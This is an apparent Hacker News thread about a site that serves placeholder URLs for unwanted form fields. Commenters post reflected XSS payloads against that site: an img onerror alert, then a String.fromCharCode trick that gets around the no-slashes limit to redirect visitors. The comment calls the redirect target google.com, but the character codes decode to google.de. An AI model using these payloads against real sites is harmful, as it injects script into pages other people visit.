

Show HN: URLs for form fields you don't want to answer [GitHub in comments] - humanarity
https://igot99inputs.appspot.com/andthisaintone

======
omgpeaches
Couldn't resist.

[https://igot99inputs.appspot.com/andthisainttwo%3Cimg%20src=...](https://igot99inputs.appspot.com/andthisainttwo%3Cimg%20src=x%20onerror=alert%28%27xss%27%29%3E)

~~~
humanarity
This is a really cool idea -- can you use a link shortener so that it fits?

~~~
xrstf
Slashes are not possible, that makes it hard to load code from somewhere.

~~~
omgpeaches
Well, you could bypass that by using String.fromCharCode() eventually?

i.e.

[https://igot99inputs.appspot.com/andthisainttwo<img](https://igot99inputs.appspot.com/andthisainttwo<img)
src=x
onerror=document.location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,103,111,111,103,108,101,46,100,101);
>

(that's google.com)

------
mailslut
I also do not get this at all. I see what you're trying to do, but I still
don't get the point.

~~~
humanarity
Now you've had your pointlessness for today :) thanks for sharing!

------
humanarity
And the github:
[https://github.com/humanarity/igot99inputs](https://github.com/humanarity/igot99inputs)

------
fiatjaf
I sincerely don't understand why you are doing this. Are you mad against
forms?

~~~
humanarity
Sometimes a form will not accept "NA" it requires a URL, so I made URL's that
"mean" NA. Or other things!

